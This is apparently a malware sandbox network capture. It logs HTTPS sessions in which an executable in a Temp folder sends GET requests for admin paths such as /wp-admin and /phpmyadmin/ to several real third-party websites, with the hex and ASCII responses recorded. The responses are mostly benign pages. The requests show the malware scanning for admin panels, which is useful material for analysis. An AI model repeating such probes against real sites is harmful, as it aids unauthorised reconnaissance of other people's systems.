2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 68 6f 70 2d 70 61 79 5f 33 61 30 35 38 65 62 61 2e 65 73 6d 2e 6a 73 22 5d 2c 22 64 69 73 63 6f 75 6e 74 2d 61 70 70 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 64 69 73 63 6f 75 6e 74 2d 61 70 70 5f 34 35 66 66 61 66 63 63 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 6c 6f 67 69 6e 2d 62 75 74 74 6f 6e 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 6c 6f 67 69 6e 2d 62 75 74 74 6f 6e 5f 31 36 62 33 33 31 30 36 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 70 61 79 6d 65 6e 74 2d 74 65 72 6d 73 22 3a 5b 22 6d Data Ascii: hop-pay_3a058eba.esm.js"],"discount-app":["modules/client.discount-app_45ffafcc.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"login-button":["modules/client.login-button_16b33106.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"payment-terms":["m
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 73 63 72 69 70 74 27 29 5b 30 5d 3b 0a 20 20 20 20 20 20 78 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 73 2c 20 78 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 3b 0a 20 20 69 66 28 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 27 6f 6e 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 29 3b 0a 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 2c 20 66 61 6c 73 65 29 3b 0a 20 20 7d 0a 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 Data Ascii: cument.getElementsByTagName('script')[0]; x.parentNode.insertBefore(s, x); } }; if(window.attachEvent) { window.attachEvent('onload', asyncLoad); } else { window.addEventListener('load', asyncLoad, false); }})();</script><scrip
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 2b 2b 29 69 66 28 2d 31 21 3d 3d 6f 2e 69 6e 64 65 78 4f 66 28 6e 5b 72 5d 29 29 72 65 74 75 72 6e 20 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 65 2c 5b 22 2f 63 6f 6e 74 61 63 74 22 2c 22 2f 63 6f 6d 6d 65 6e 74 73 22 2c 22 2f 61 63 63 6f 75 6e 74 22 5d 29 29 26 26 6e 75 6c 6c 21 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 74 29 26 26 28 28 65 3d 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 73 68 6f 70 69 66 79 63 6c 6f 75 64 2f 73 74 6f 72 65 66 72 6f 6e 74 2d 72 65 63 61 70 74 63 68 61 2d 76 33 2f 76 30 2e 36 2f 69 6e 64 65 78 2e 6a 73 Data Ascii: ++)if(-1!==o.indexOf(n[r]))return t.parentElement;return null}(e,["/contact","/comments","/account"]))&&null!=e.querySelector(t)&&((e=o.createElement("script")).setAttribute("src","https://cdn.shopify.com/shopifycloud/storefront-recaptcha-v3/v0.6/index.js

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	58424	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	226	OUT	GET /wp-admin HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.orangutech.com/wp-login.php
2023-12-20 02:13:28 UTC	1079	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038408.0341655828538122006 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:28 GMT X-Served-By: cache-dfw-kdfw8210144-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLhe/Ft074qYAt5jyfc2Z/bHu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalifkLe1AluseDjyPF+qZ38VG36LKbNcZGtZVpMJS6c3naXkzVEFlT3i+EHvY3Lz7jQ==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:28 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-12-20 02:13:28 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-12-20 02:13:28 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-12-20 02:13:28 UTC	252	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	58353	199.34.228.152	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	202	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip Cookie: is_mobile=0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	660	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:27 GMT Server: Apache Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:27 GMT; Max-Age=1209600; path=/ Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:27 GMT; Max-Age=315360000; path=/ Cache-Control: private X-Host: grn61.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:28 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:28 UTC	3201	IN	Data Raw: 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 22 29 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 66 Data Ascii: va-light/31AC96_0_0.eot");src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	58591	172.217.15.206	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	232	OUT	GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1 Host: sites.google.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Last-Modified: Wed, 06 Dec 2023 21:50:10 GMT Expires: Wed, 20 Dec 2023 02:13:28 GMT Date: Wed, 20 Dec 2023 02:13:28 GMT Cache-Control: private, max-age=5 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:28 UTC	785	IN	Data Raw: 31 32 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 53 68 61 64 6f 77 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 74 53 68 61 64 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 Data Ascii: 1214<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css"> .topShadow { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/tShad.gif); ba
2023-12-20 02:13:28 UTC	1252	IN	Data Raw: 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 50 61 64 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 37 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 54 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 36 36 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 Data Ascii: } .topPadding { padding-top: 75px; } .footerText { font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #666666; background-position: center;
2023-12-20 02:13:28 UTC	1252	IN	Data Raw: 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 72 54 6f 70 43 6f 72 6e 65 72 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 6c 42 6f 74 43 6f 72 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 Data Ascii: atic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/rTopCorner.gif); background-repeat: no-repeat; } .lBotCorner { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domai
2023-12-20 02:13:28 UTC	1252	IN	Data Raw: 0a 3c 2f 74 72 3e 0a 3c 74 72 3e 0a 3c 74 64 20 77 69 64 74 68 3d 22 31 33 22 20 63 6c 61 73 73 3d 22 6c 65 66 74 53 68 61 64 6f 77 22 3e 3c 69 6d 67 20 73 72 63 3d 22 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 73 2e 67 69 66 22 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 2f 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 6c 61 73 73 3d 22 77 65 6c 63 6f 6d 65 22 3e 57 65 6c 63 6f 6d 65 20 74 6f 3c 62 72 20 2f 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 4e 61 6d 65 22 3e 63 6f 6c 6c 69 6e 73 67 6f 72 64 6f 6e 68 65 6e 72 79 2e 63 6f 6d 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 74 64 3e 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 22 33 22 20 61 6c 69 67 6e 3d 22 72 69 67 68 74 22 3e 3c 69 Data Ascii: </tr><tr><td width="13" class="leftShadow"><img src="domainWelcome/s.gif" width="1" height="1" /></td><td><p align="center" class="welcome">Welcome to<br /><span class="siteName">collinsgordonhenry.com</span></p></td><td colspan="3" align="right"><i
2023-12-20 02:13:28 UTC	95	IN	Data Raw: 20 63 72 65 61 74 69 6e 67 20 79 6f 75 72 20 68 6f 6d 65 20 70 61 67 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 53 69 74 65 73 3c 2f 61 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: creating your home page with Google Sites</a></td><td></td></tr></table></body></html>
2023-12-20 02:13:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	58623	34.133.154.140	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	212	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://hildebrandproject.org/
2023-12-20 02:13:28 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 2 X-Cache-Group: normal
2023-12-20 02:13:28 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:28 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:28 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
